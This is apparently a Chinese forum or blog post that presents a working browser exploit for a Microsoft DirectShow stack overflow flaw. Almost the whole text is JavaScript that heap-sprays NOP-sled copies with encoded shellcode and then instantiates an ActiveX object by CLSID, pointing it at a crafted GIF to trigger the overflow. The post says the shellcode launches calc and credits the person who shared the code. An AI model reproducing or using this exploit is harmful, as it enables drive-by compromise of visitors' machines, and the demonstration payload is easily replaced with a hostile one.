Microsoft DirectShow存在可被远程利用的堆栈溢出漏洞。
关键代码如下: var appllaa='0'; var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa; var dashell=unescape(nndx+"%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949" + "%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b" + "%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875" + "%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c" + "%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b" + "%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e" + "%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a" + "%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35" + "%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b" + "%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b" + "%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470" + "%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550" + "%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550" + "%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070" + "%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68" + "%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047" + "%u6363%u5251%u634c%u5553%u4550"); var headersize=20; var omybro=unescape(nndx); var slackspace=headersize+dashell.length; while(omybro.length<slackspace) omybro+=omybro; bZmybr=omybro.substring(0,slackspace); shuishiMVP=omybro.substring(0,omybro.length-slackspace); while(shuishiMVP.length+slackspace<0x30000) shuishiMVP=shuishiMVP+shuishiMVP+bZmybr; memory=new Array(); for(x=0;x<300;x++) memory[x]=shuishiMVP+dashell; var myObject=document.createElement('object'); DivID.appendChild(myObject); myObject.width='1'; myObject.height='1'; myObject.data='./logo.gif'; myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
该shellcode会执行calc。
感谢代码分享者:咖啡。
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